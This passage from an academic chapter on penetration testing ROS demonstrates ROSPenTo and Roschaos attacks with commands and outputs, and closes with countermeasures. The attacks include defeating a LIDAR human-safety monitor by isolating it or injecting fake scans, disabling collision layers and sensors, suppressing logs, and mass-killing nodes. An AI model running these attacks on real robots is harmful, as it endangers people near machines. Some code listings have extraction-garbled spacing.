for readability).
1 System 0: http://127.0.0.1:11311/
2 Nodes:
3 Node 0.0: /talker
4 Topics:
5 Topic 0.0: /chatter (Type: std_msgs/String)
6 Communications:
7 Communication 0.0:
8 Publishers:
9 Node 0.0: /talker

10 Topic 0.0: /chatter (Type: std_msgs/String)
11 Subscribers:
12
13 System 1: http://127.0.0.1:11312/
14 Nodes:
15 Node 1.0: /listener
16 Topics:
17 Topic 1.1: /chatter (Type: std_msgs/String)
18 Communications:
19 Communication 1.1:
20 Publishers:
21 Topic 1.1: /chatter (Type: std_msgs/String)
22 Subscribers:
23 Node 1.0: /listener

Listing 1.4: Analyses of the two ROS systems
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It can be seen that in both instances, the /chatter topic is present but in
system 0, the communication 0.0 has no subscribers just as communication 1.1
in system 1 has no publishers. The corresponding RQT graphs are shown in
figure 7.

Fig. 7: The RQT graphs of talker and listener running in different ROS systems.

Next, we will use ROSPenTo to connect the talker to the listener.

>> 11

1 To which subscriber do you want to send the publisherUpdate
↪→ message?

2 Please enter number of subscriber (e.g.: 0.0):

>> 1.0

1 Which topic should be affected?
2 Please enter number of topic (e.g.: 0.0):

>> 1.1

1 Which publisher(s) do you want to add?
2 Please enter number of publisher(s) (e.g.: 0.0,0.1,...):

>> 0.0

1 sending publisherUpdate to subscriber '/listener (XmlRpcUri:
↪→ http://127.0.0.1:42959/)' over topic '/chatter (Type:
↪→ std_msgs/String)' with publishers '/talker (XmlRpcUri:
↪→ http://127.0.0.1:38383/)'

2 PublisherUpdate completed successfully.

You will now see outputs in the shell where you started the listener node.
Again, the RQT graph will show no change.
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Analyzing node types In this section we will analyze the programming lan-
guage used for the nodes’ implementation. Although the C++ and Python im-
plementations of the ROS master and slave APIs are compatible, they have
differences in their implementation. This allows us to analyze, which ROS client
implementation was used for a specific node. Particularly, we will call the XML-
RPC method getName, which is implemented only in the Python slave API and
analyze the response.

Note: This function currently does not consider rosjava or any other ROS
client implementaiton.

<?xml version=” 1 .0 ”?>
<methodCall>

<methodName>getName</methodName>
<params>

<param>
<value>/ master</ value>

</param>
</params>

</methodCall>
Listing 1.5: XML content of a publisherUpdate call

If the node was implemented in C++, then it doesn’t provide a XML-RPC
method with this name and the call fails with an exception. Otherwise the node
returns a triple with status code, empty status message and node name. With
this information, we then can distinguish between Python and C++ nodes.

Knowing which language was used to write a node allows for the exploitation
of specific vulnerabilities.

First, we start a talker node of the roscpp_tutorial package

$ rosrun roscpp_tutorial talker

and a listener node of the rospy_tutorial package.

$ rosrun rospy_tutorial listener

Next we analyze the ROS network with ROSPenTp.
As we can see in the network structure there are three active ROS nodes.

1 System 0: http://127.0.0.1:11311/
2 Nodes:
3 Node 0.1: /listener_14567_1530173733892 (XmlRpcUri:

↪→ http://127.0.0.1:37908/)
4 Node 0.2: /rosout (XmlRpcUri: http

↪→ ://127.0.0.1:35249/)
5 Node 0.0: /talker (XmlRpcUri: http

↪→ ://127.0.0.1:41029/)
Listing 1.6: Output of network analysis (node part)
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Now we will use ROSPenTo to print the node types of the nodes running in
the system:

>> 5

1 Please enter number of analysed system:

>> 0

1 Node 0.0: C++
2 Node 0.1: Python
3 Node 0.2: C++

Isolating a service In our next example, we will use ROSPenTo to isolate a
service from the target system and register it to our attacking system, in order
to exclusively call the service on our own. Again, we start two ROS master
processes just as in the example on bridging two networks above.

Then we run a service server for the add_two_ints service of the roscpp_tutorials
package in the target system.

$ export ROS_MASTER_URI=http://127.0.0.1:11311
$ rosrun roscpp_tutorials add_two_ints_server

Now we run ROSPenTo to analyse the two systems. The output of our target
system shows a node /add_two_ints_server and a service /add_two_ints.
1 System 0: http://127.0.0.1:11311/
2 Nodes:
3 Node 0.0: /add_two_ints_server (XmlRpcUri: http

↪→ ://127.0.0.1:41144/)
4 Node 0.2: /rosout (XmlRpcUri: http

↪→ ://127.0.0.1:35249/)
5 Node 0.1: /rqt_gui_py_node_16990 (XmlRpcUri: http

↪→ ://127.0.0.1:35176/)
6 Services:
7 Service 0.2: /add_two_ints
8 Service 0.0: /add_two_ints_server/get_loggers
9 Service 0.1: /add_two_ints_server/set_logger_level

10 Service 0.5: /rosout/get_loggers
11 Service 0.6: /rosout/set_logger_level
12 Service 0.3: /rqt_gui_py_node_16990/get_loggers
13 Service 0.4: /rqt_gui_py_node_16990/set_logger_level

Listing 1.7: System analysis of target system (nodes and services)

For the attacking system, we get the following output.
1 System 1: http://127.0.0.1:11312/
2 Nodes:
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3 Node 1.0: /rosout (XmlRpcUri: http
↪→ ://127.0.0.1:45506/)

4 Services:
5 Service 1.1: /rosout/get_loggers
6 Service 1.0: /rosout/set_logger_level

Listing 1.8: System analysis of attacking system (nodes and services)

To test the service in system 0, we run a service call from the command line
$ export ROS_MASTER_URI=http://127.0.0.1:11311
$ rosservice call /add_two_ints 3 5
sum: 8

Now we use ROSPenTo to run the service isolation attack on /add_two_ints.
>> 14

1 Which service do you want to isolate?
2 Please enter number of service (e.g.: 0.0):

>> 0.2

1 Optional: Register service to other system
2 Type Ctrl+c to skip this option, type in system number

↪→ otherwise
3 Please enter number of analysed system:

>> 1

Now, let’s try to call the service in system 0 again.
$ export ROS_MASTER_URI=http://127.0.0.1:11311
$ rosservice call /add_two_ints 3 5
ERROR: Service [/add_two_ints] is not available.

As we can see, the service is not available in the target system anymore.
However, if we call the service in our attacking system we get the expected
result.

$ export ROS_MASTER_URI=http://127.0.0.1:11312
$ rosservice call /add_two_ints 3 5
sum: 8

The node providing the service is still part of the target network, which
means that it is still shown in the rqt graph after the attack.

Note, that in contrast to the rqt graph, the response on a getSystemState
call to the ROS master in the target system changes, as we can analyse it with
ROSPenTo.
1 System 0: http://127.0.0.1:11311/
2 Nodes:
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3 Node 0.0: /add_two_ints_server (XmlRpcUri: http
↪→ ://127.0.0.1:41144/)

4 Node 0.2: /rosout (XmlRpcUri: http
↪→ ://127.0.0.1:35249/)

5 Node 0.1: /rqt_gui_py_node_16990 (XmlRpcUri: http
↪→ ://127.0.0.1:35176/)

6 Services:
7 Service 0.0: /add_two_ints_server/get_loggers
8 Service 0.1: /add_two_ints_server/set_logger_level
9 Service 0.4: /rosout/get_loggers

10 Service 0.5: /rosout/set_logger_level
11 Service 0.2: /rqt_gui_py_node_16990/get_loggers
12 Service 0.3: /rqt_gui_py_node_16990/set_logger_level

Sending malicious parameter updates Now we want to demonstrate how
to run a malicious parameter attack with ROSPenTo. After starting a master,
we run a publisher node, which is subscribing to a string parameter from the
parameter server, in order to publish it on the ROS network. Before we can start
the node, we set the parameter on the parameter server via the command line.

$ rosparam set awesome_parameter "awesome"

Then we start the publisher, which then publishes the value of our parameter
$ rosrun arbitrary_package awesome_publisher
[ INFO] [1530196484.388349773]: awesome

Now, we analyse the ROS network and get the following output for nodes
and parameters
1 System 0: http://127.0.0.1:11311/
2 Nodes:
3 Node 0.0: /awesome_publisher (XmlRpcUri: http

↪→ ://127.0.0.1:38253/)
4 Node 0.1: /rosout (XmlRpcUri: http

↪→ ://127.0.0.1:35249/)
5 Parameters:
6 Parameter 0.0:
7 Name: /roslaunch/uris/host_127_0_0_1__44124
8 Parameter 0.1:
9 Name: /rosdistro

10 Parameter 0.2:
11 Name: /awesome_parameter
12 Parameter 0.3:
13 Name: /rosversion
14 Parameter 0.4:
15 Name: /run_id

Next, we analyse types and values of the parameters
>> 10
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1 Parameter values and types analyzed
2 Parameter 0.0:
3 Name: /roslaunch/uris/host_127_0_0_1__44124
4 Type: System.String
5 Value: http://127.0.0.1:44124/
6 Parameter 0.1:
7 Name: /rosdistro
8 Type: System.String
9 Value: kinetic

10 Parameter 0.2:
11 Name: /awesome_parameter
12 Type: System.String
13 Value: awesome
14 Parameter 0.3:
15 Name: /rosversion
16 Type: System.String
17 Value: 1.12.12
18 Parameter 0.4:
19 Name: /run_id
20 Type: System.String
21 Value: 67f30c4c -7aab-11e8-ae76-c47d461e4b7c

To get full control over the cached parameter value stored on the awe-
some_publisher node, we unsubscribe the node from parameter updates.

>> 15

1 Please enter number of node (e.g.: 0.0):

>> 0.0

1 Please enter number of parameter (e.g.: 0.0):

>> 0.2

1 Node 0.0 successfully unsubscribed from Parameter 0.2

Finally, we send our own parameter update to the node
>> 16

1 Please enter number of node (e.g.: 0.0):

>> 0.0

1 Please enter number of parameter (e.g.: 0.0):

>> 0.2

1 Please enter value for paramUpdate



Penetration testing ROS 27

>> even more awesome

1 Parameter update for Parameter 0.2 at Node 0.0 sent

Now we can see, that the output of our publisher changed
[ INFO] [1530196484.388349773]: even more awesome

On the other hand, if we call rosparam get via the command line or analyse
the system again with our tool, we recognize that the value of the parameter
stored on the parameter server is still awesome.

$ rosparam get awesome_parameter
awesome

4.2 Performing a real attack

Now that we have mastered the basics of using ROSPenTo for analyzing and
manipulating the communications within a ROS application network, let’s see
how this can be used by a potential attacker in a real application.

Application setup The application, which we will penetrate, is used to provide
safety to humans in the vicinity of a robot. A LIDAR laser-scanner is used to
determine if a human is close to a robot. If so, the speed of the robot is reduced
or the robot is stopped to ensure that no harmful forces are exerted in case the
robot touches the human. Setups like these can be found in many applications,
very often used as proximity sensors for mobile robots.

Our application setup consists of the following hardware elements and ROS
nodes:

– An OMRON OS32c safety LIDAR with the associated ROS driver 14

– A ROS-operated robot arm (like a KUKA iiwa with the iiwa stack15 or a
Universal Robot with the UR modern driver16, …)

– A safety_monitor ROS node

First, let’s take a look at the safety_monitor node. It simply receives the
laser range data from the LIDAR and sets the speed accordingly. The following
listing shows a simplified version. Note that we abstracted which robot you are
using since it does not change the way we can attack this node afterwards.

1 import rospy
2 from sensor_msgs . msg import LaserScan
3
4 class SafetyMonitor :
5 def __init__( s e l f ) :

14 http://wiki.ros.org/omron_os32c_driver
15 https://github.com/IFL-CAMP/iiwa_stack
16 https://github.com/ThomasTimm/ur_modern_driver

http://wiki.ros.org/omron_os32c_driver
https://github.com/IFL-CAMP/iiwa_stack
https://github.com/ThomasTimm/ur_modern_driver
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6 rospy . in it_node ( ” safety_monitor ” )
7 rospy . Subsc r ibe r ( ”/ scan ” , LaserScan , s e l f .

↪→ handle_laser_reading )
8 s e l f . speed_value =0.05
9 rospy . sp in ( )

10
11
12 def handle_laser_reading ( s e l f , msg) :
13 speed_val = 0 .5 # normal opera t ing speed
14 for r in msg . ranges :
15 i f r < 0 . 5 :
16 speed_val = 0 .05 # s e t speed to 5%
17 break
18
19 i f speed_val != s e l f . speed_value :
20 s e l f . speed_value=speed_val
21 else :
22 return
23
24 # Now send the new speed to your robo t
25
26 i f __name__ == ”__main__” :
27 safety_monitor_node=SafetyMonitor ( )

Listing 1.9: Simplified Python implementation of the safety_monitor node

The corresponding RQT graph is shown in figure8. The safety_monitor node
(shown in red) uses the /scan topic from the OMRON laser scanner as input.
This gives an array of laser range values. As robot, in our case, we have used
a KUKA iiwa with the iiwa_stack package. To change the movement speed, a
service is consumed by the safety_monitor package and thus, the RQT graph
does not show outgoing connections from this node.

Application analysis Let’s first use ROSPenTo to analyze this application.
The output of the system analysis is shown below (in a simplified version reduced
to the relevant information). Here, we can also see the service server, which we
use to perform the speed change (/iiwa/configuration/pathParameters). Note, if
you use another robot, this listing will change appropriately.
1 System 0: http://127.0.0.1:11311/
2 Nodes:
3 Node 0.5: /iiwa/iiwa_configuration (XmlRpcUri: http

↪→ ://127.0.0.1:49182/)
4 Node 0.3: /omron_os32c_node (XmlRpcUri: http

↪→ ://127.0.0.1:34393/)
5 Node 0.7: /safety_monitor (XmlRpcUri: http

↪→ ://127.0.0.1:38473/)
6 Topics:
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Fig. 8: The RQT graph of our safety-application.

7 Topic 0.22: /scan (Type: sensor_msgs/LaserScan)
8 Services:
9 Service 0.6: /iiwa/configuration/pathParameters

10 Service 0.4: /omron_os32c_node/get_loggers
11 Service 0.5: /omron_os32c_node/set_logger_level
12 Service 0.10: /safety_monitor/get_loggers
13 Service 0.9: /safety_monitor/set_logger_level
14 Communications:
15 Communication 0.22:
16 Publishers:
17 Node 0.3: /omron_os32c_node (

↪→ XmlRpcUri: http
↪→ ://127.0.0.1:34393/)

18 Topic 0.22: /scan (Type: sensor_msgs/
↪→ LaserScan)

19 Subscribers:
20 Node 0.7: /safety_monitor (XmlRpcUri:

↪→ http://127.0.0.1:38473/)
Listing 1.10: Analysis of the ROS application (simplified)

Looking at the network analysis, the skilled ROSPenTo user already sees
several attack vectors. First, we can simply isolate a node, which is publishing
relevant data i.e., either the LIDAR driver or the safety_monitor. This will
result in no changes to the currently set speed. Further, we can isolate the
setPathParameter service to achieve the same result.

In order to provoke a speed change in our favor (either forcing the robot to
stop as a kind of DoS attack, or to drive at high speeds) we can also inject false
data using a stealth publisher attack.

Isolating a node As a first, simple simple attack, we can isolate the safety_monitor
component from the Omron node such that it does not receive any more data.
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We do this by using ROSPenTo to remove the Omron node as a publisher for
the /scan topic.

>> 13

1 To which subscriber do you want to send the publisherUpdate
↪→ message?

2 Please enter number of subscriber (e.g.: 0.0):

>> 0.7

1 Which topic should be affected?
2 Please enter number of topic (e.g.: 0.0):

>> 0.22

1 Which publisher(s) do you want to remove?
2 Please enter number of publisher(s) (e.g.: 0.0,0.1,...):

>> 0.3

This will remove the Omron driver node from the list of publishers for the
safety_monitor node and thus, it will no longer receive LIDAR range data.

A cleverly written safety_monitor node however, should constantly check
when it received the last input and stop the robot if there is any irregularity in
the frequency (just like a hold-to-run button).

Isolating a service By isolating the service which regulates the speed at the
robot side, we perform a service isolation attack in ROSPenTo. After this, the
safety_monitor node will not be able to reduce the speed in case a human is
detected by the LIDAR.

>> 14

1 Which service do you want to isolate?
2 Please enter number of service (e.g.: 0.0):

>> 0.6

1 Optional: Register service to other system
2 Type Ctrl+c to skip this option, type in system number

↪→ otherwise
3 Please enter number of analysed system:

>> Ctrl+c

And by this, the service is no longer registered and cannot be found in a
service lookup.
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Injecting false data Finally, if we want to inject false data into the network in
order to let the safety_monitor think that no object is approaching, we exchange
the Omron driver node with a node that we write ourselves.

As shown below, the fake node just publishes data with the maximum range.
This causes the safety_monitor to think that no obstactle is close to the robot,
causing it to move at high speed.

1 _laserScanPubl i sher = _nodeHandle . adve r t i s e <sensor_msgs
↪→ : : LaserScan >(_topicName , 1000) ;

2
3 while ( ro s : : ok ( ) )
4 {
5 sensor_msgs : : LaserScan msg ;
6 msg . header . stamp = ros : : Time : : now ( ) ;
7 msg . header . frame_id = ” l a s e r ” ;
8 msg . angle_min = −2.29;
9 msg . angle_max = 2 . 2 9 ;

10 msg . angle_increment = 0 . 0 1 ;
11 msg . range_min = 0 . 0 0 2 ;
12 msg . range_max = 50 ;
13
14 int numVal = ( int ) std : : c e i l ( ( msg . angle_max−msg .

↪→ angle_min ) /0 . 01 ) ;
15 for ( int i =0; i<numVal ; i++)
16 {
17 msg . ranges . push_back (msg . range_max ) ;
18 }
19
20 _laserScanPubl i sher . pub l i sh (msg) ;

Listing 1.11: The fake sensor data publisher in C++

In order to be stealthy (i.e., not visible in the ROS graph), we perform the
same procedure as above by creating a separate ROS network for the attacker
node and then using ROSPenTo to reroute the traffic accordingly.

First, we start a second ROS core. Then we analyze both systems in ROSPenTo.
Third, we send a publisher update to the safety_monitor containing the URI of
our attacker node. From thereon, the robot will run at increased speed.

5 Roschaos

This section introduces a different penetration testing tool designed for exploit-
ing the Master API. Where ROSPenTo is designed to make minimal use of the
Master, covertly opting for the Slave API to perform targeted isolation attacks,
Roschaos instead seeks to exploit the centralized discovery and broader subsys-
tem APIs at scale in less subtle but more disruptive manners.
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As demonstrated with RosPenTo, numerous subtle and silent attacks may
be mounted without necessarily divulging such activities to the ROS Master.
However, more conspicuous attacks that exploit the Master directly, and so are
far more blatant or detectable, may still remain compelling for adversaries and
formidable threats to ROS systems for at least two reasons. First, it is unlikely
that most current ROS users continuously monitor all Master event logs for
suspicious activities during runtime. Moreover, these logs hold little authenticity
given there is no authentication for the Master API and identities can be falsified.
Second, while such attacks may be short lived due to their traceability, they can
remain immediately and irreversibly catastrophic for cyber physical systems.

5.1 Roschaos Basics

Roschaos17 provides a simple CLI bundled as a native ROS package and is
written to demonstrate how an unmodified ROS client library can be used for
attacks. First we review how basic ROS CLI tools like rostopic, rosnode can be
used maliciously; a brief list of potentially malicious examples of native CLIs are
exhibited here:

# Relay topic data without added custom code
$ rostopic echo /foo | rostopic pub /bar std_msgs/String

# Replay filtered data without post-processing bag files
$ rostopic echo --filter "m.data=='foo'" /bar > spam.bagy
$ rostopic pub -f spam.bagy /spam std_msgs/String

# Terminate all ROS processes without needed POSIX privilege
$ rosnode kill --all

# Recursively wipe all key/values from parameter server
$ rosparam delete /

As shown above, it remains a trivial task to relay and replay topic traffic
without necessarily executing custom code, nor is remote shell access required
to terminate node processes or delete global parameters. Roschaos extends these
underlying libraries, e.g. rosgraph, to manipulate the topology and internal state
of the computational graph. Roschaos subcommands are divided into three main
categories that reflect the partitioning of the subsystem APIs.

Master This subcommand currently exposes the unregister interface for topics
and services, as well entire sets either attributed to particular nodes. Regular
expression may be passed to each methods to filter which resource the unregis-
tration should target.

The following command unregisters all topic publishers and subscribers of
standard message types under top level topic namespace /foo:
17 https://github.com/ruffsl/roschaos

https://github.com/ruffsl/roschaos
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roschaos master unregister topic --topic_name “\/foo”.* --
↪→ topic_type “std_msgs”\/.* --subscribers --publishers

Services servers may similarly be unregistered by providing an expression
for the service namespace. The following command unregister all services that
enable dynamically updating the logger level for all nodes:

roschaos master unregister service --service_name “.*\/
↪→ ”set_logger_level

Finally, we can unregister entire nodes, filtering either by the nodes own
namespace, host machine address, or a combination of both. The first command
unregisters intersection of nodes under a namespace containing the substring
‘movit’ or ‘openni’ executing on the third cluster in the PR2 platform. The
second command invokes the swift nuclear option to unregisters everyone from
everything.

roschaos master unregister node --node_name “(.*moveit.*)|(.*
↪→ openni.*)” --node_uri “”pr2_pc3 roschaos master
↪→ unregister node --all

Slave This subcommand currently exposes several interfaces of the Slave API
for ascertaining and controlling internal node state and life cycle. Again, regular
expression may be passed to narrow the control of the scope of nodes to afflict.

For peculiar cases when the master URI for a participating node is unknown,
or when multiple masters may coexist on the same machine, the following com-
mand may be used to inquire into a remote node’s Slave API and update the
local ‘ROS_MASTER_URI’ environment variable accordingly:

roschaos slave backtrace master --uri http://slave_uri_here
↪→ :1234

The logger level for each logger inside a node may be externally adjusted at
runtime and determines the verbosity of logs events both written to log files on
disk and published on the /rosout debug topic. The following command squelches
the majority xmlrpc server events from movit related nodes being reported:

roschaos slave service logger --node_name “\/moveit”.* --
↪→ logger_name “ros\.xmlrpc”.* --logger_level “”Fatal

The following command provides much the same purpose as rosnode kill, but
similar filtering functionality as with other subcommands in defined expression
for node and machine filtering:

roschaos slave shutdown node --node_name “.*safety”.* --
↪→ node_uri “”127\.0\.0\..*
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Param This subcommand currently exposes server interfaces of the Parameter
API, using regular expressions to direct given requests. The following unsub-
scribes all nodes from receiving update events for any of the movebase footprint
related parameters:

roschaos param server unsubscribe --node_name “”.* --node_uri
↪→ “turtlebot\.local”.* --param_key “\/movebase.*
↪→ ”footprint

5.2 Roschaos Examples

In this section we present a set of attack scenarios leveraging Roschaos and native
ROS CLIs to demonstrate the execution and effects of malicious actions against
subsystem APIs. To provide a repeatable and reproducible ROS deployment
scenario, we make use of the classic turtlebot simulation demos to serve as the
targeted system. Begin by starting the following launch files to bootstrap the
entire application setup:

# From separate terminals launch each turtlebot component
$ roslaunch turtlebot_gazebo turtlebot_world.launch
$ roslaunch turtlebot_gazebo amcl_demo.launch
$ roslaunch turtlebot_rviz_launchers view_navigation.launch
$ roslaunch turtlebot_teleop keyboard_teleop.launch

You should then observes a gazebo and an rviz windows with a turtlebot
posed and localized within the simulated environment, with an additional shell
terminal capturing/forwarding keyboard teleop commands to the mobile robot
when made in focus of the desktop window manager. Note that running teleop
suppress goal navigation.

Exploiting the CmdVelMux Nodelet Many robot platforms may operating
with coexisting controllers, and thus must arbitrate access using some scheme of
priority to avoid the ambiguity of multiple simultaneous command signals being
forwarded to hardware actuators. One such package used by the community is
the CmdVelMux Nodelet that can be configured to relegate designated topics
with associated priority levels through a simple chain of suppression hierarchy.
In this case, teleop commands can be spoofed to indefinitely halt the movebase
planner until it times out.

Using rviz’s navigate to point tool, click on somewhere on the map to initiate
the movebase planner to navigate to a given goal. Then use rospub, execute the
following command and attempt to repeat the same goal navigation with rviz
for another point.

# Repeatedly publish zero velocity command at 10 hz
$ rostopic pub /cmd_vel_mux/input/teleop geometry_msgs/Twist

↪→ -r 10 "linear:
x: 0.0
y: 0.0



Penetration testing ROS 35

z: 0.0
angular:

x: 0.0
y: 0.0
z: 0.0"

The CmdVelMux is also sometimes used as an safety override, where say a
human operator may overtake control if necessary, thus the reason for the exhib-
ited behavior above. However using roschaos, we can just as easily register teleop
publishers to temporarily isolate the CmdVelMux until new publishers register
on the network, or until the CmdVelMux nodelet itself is restarted by unreg-
istering it as a subscriber. The both of which are achieved using the following
command:

# Unregistered both topic publishers and subscribers
$ roschaos master unregister topic --topic_name "\/

↪→ cmd_vel_mux\/input\/teleop" --publishers --subscribers

By now, the keyboard teleop CLI should no longer function and itself indicate
no issue, yet you will need to restart both nodes to rectify the absent registrations
with the master.

Exploiting Movebase Many nodes expose internal parameters to be dynam-
ically reconfigurable. Movebase uses this extensively to allow user to tune nav-
igation settings on the fly. However, malicious users can just as well use these
interfaces to disable safety mechanics and delay responsive measures.

The following set of commands disable the number of basic navigation lay-
ers used in planning around static and dynamic obstacles, thus rendering the
platform vulnerable to collisions. The the same interface used to alter the pa-
rameters is also closed afterwards to hamper repair. Lastly, any environmental
fail-safes such as monitoring sensors can also be removed from the graph.

# Disable movebase navigation layers
$ for i in global_costmap local_costmap; do for j in

↪→ inflation_layer obstacle_layer static_layer; do rosrun
↪→ dynamic_reconfigure dynparam set /move_base/${i}/${j}
↪→ "{'enabled ':false}"; done; done

# Cutoff dynamic reconfigure to prevent imadate re-enabling
$ roschaos master unregister topic --topic_name "\/move_base

↪→ .*parameter_updates" --publishers --subscribers
# Cutoff bump and cliff sensors that do not require heartbeat

↪→ signals
$ roschaos master unregister topic --topic_name ".*(cliff|

↪→ bump).*" --publishers

It should now be possible to guide the robot into collisions directly by set-
ting goal point inside obstacles. Given collision detection is also composed, the
robot should now unhesitatingly push movable objects in the simulation, where
recovery bump behaviors would have previously been invoked. Additionally, this
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can no longer be reversed using tools such as rqt’s dynamic reconfigure plugin,
as the published parameter updates no longer notify the necessary move_base
node.

Exploiting roslog For most logging and monitoring purposes, roslog is used to
record and disseminate log events during runtime. This pertains to configuring
the logging levels or verbosity of internal log handlers in each node process,
writing the events to disk within the logfile directory, as well as aggregating them
over unified topics for remote diagnostics. However, given the control of these
reporting mechanisms are also made available through the same unregulated
APIs they monitor, they can just as well be subverted to redact and obscure
suspicious activity in the graph.

If an attacker where to disrupt an environmental sensor, such as the laser
scanner, consecutive nodes further down the data pipeline may inevitably remark
upon abnormalities such as delayed sensor data or expired transformations. Such
are the errors and warnings AMCL will produce upon the abrupt termination of
laserscan_nodelet_manager, casing all further /scan topic data. The following
commands attempt to mitigate such reporting before evasive termination:

# Subdue self reporting to minimize event written to disk
$ roschaos slave service logger --node_name ".*[amcl|movebase

↪→ |laserscan_nodelet_manager].*" --logger_name ".*" --
↪→ logger_level "Fatal"

# Shut the door behind us to avoid changes
$ roschaos master unregister service --service_name ".*[amcl|

↪→ movebase|laserscan_nodelet_manager].*\/
↪→ set_logger_level"

# Optional , but alarm rasing
$ roschaos master unregister topic -topic_name "\/rosout" --

↪→ publishers
# Lastly, terminate the scan publisher to crippel navigation
$ roschaos slave shutdown node --node_name "\/laserscan”.*

One could additionally unregister all rosout publishers, however the sudden
drop in log traffic would be a clear tip off to issues abound. Additionally, being
more selective in the logger name expression used could help the change in traffic
from being too conspicuous, yet this would require further in depth knowledge
of the target system and anticipated logging outcomes.

6 Conclusion

In this chapter, we have presented how ROS can be manipulated very easily over
the XML-RPC API. We have presented two tools, ROSPenTo and Roschaos, and
showed how they can be used to analyze and manipulate ROS applications.

We hope to have raised some awareness of how important security in ROS
is and to have encouraged our readers to engage in penetration testing of their
applications.
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We close with two further notes on the practicability of the attacks shown
here and on possible countermeasures.

6.1 On the practicability of attacks on ROS

In this chapter, we have shown how ROS applications can be manipulated. In-
tentionally though, we have left some blanks. To inject data for example into the
stealth publisher attack, it is necessary to have the message definition before in-
jecting data. In our example, we simply implemented an attacker node using the
message definition of the original application. An attacker typically would not
have access to this kind of information when analyzing an unknown application.
While there are ways to reverse-engineer the message definition at run-time, we
have refrained from describing this here.

To run a malicious parameter attack on a ROS node an attacker needs to
know which parameters the node is subscribed to. In contrast to topic sub-
scriptions, neither the parameter API nor the slave API provide a XML-RPC
method to request information about the current parameter subscriptions. Addi-
tionally, unlike stated in the API definitions, the response on a paramUpdate or
a unsubscribeParam can’t be used as well. This is caused by the implementation
of the APIs, where the generated response stays the same independent of the
method result. Further parameter subscriptions can’t be triggered remotely as
well. Hence, the attacker either needs to know how the node is implemented or
has to analyze the network traffic between the targeted node and the parameter
server to detect a subscribeParam call. If no such call occurs, the attacker can
not run this kind of attack.

6.2 Countermeasures

Despite the flaws in the ROS API design that enable most of the attacks de-
scribed here, there are ways to counter attacks.

First, the roswtf 18 tool is a useful helper. It performs a ROS graph analysis
and detects attack patterns of ROSPenTo (although it does not identify them
as such). If a listener is isolated from its publishers, roswtf will print a message
similar to

1 ERROR The following nodes should be connected but aren't:
2 * /talker_5031_1531308319488 ->/listener (/chatter)

If we add a fake publisher, that is not known to the ROS master (i.e., runs
in another ROS network), roswtf will at least produce a warning:

1 WARNING The following nodes are unexpectedly connected:
2 * unknown (http://127.0.0.1:37733/)->/listener (/chatter)
3 * unknown (http://127.0.0.1:41333/)->/listener (/chatter)

18 http://wiki.ros.org/roswtf

http://wiki.ros.org/roswtf
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Second, several approaches to increasing security in ROS have been proposed.
Among those are SROS [21], application-layer approaches [6] as well as secure
versions of the ROS core itself (such as http://secure-ros.csl.sri.com/ or
[2]).

Third, ROS219, which has recently been released, is not susceptible to most
approaches shown in this chapter. The underlying DDS communication tech-
nology [13] uses a different technique for discovery and works without a master
(which is one of the main attack points for ROSPenTo and Roschaos). In ad-
dition, it supports security enhancements in the communication channels them-
selves [14]. Those security enhancements are made available to ROS2 via the
SROS2 project20. An initial performance evaluation of security in ROS2 has
been presented in [9].
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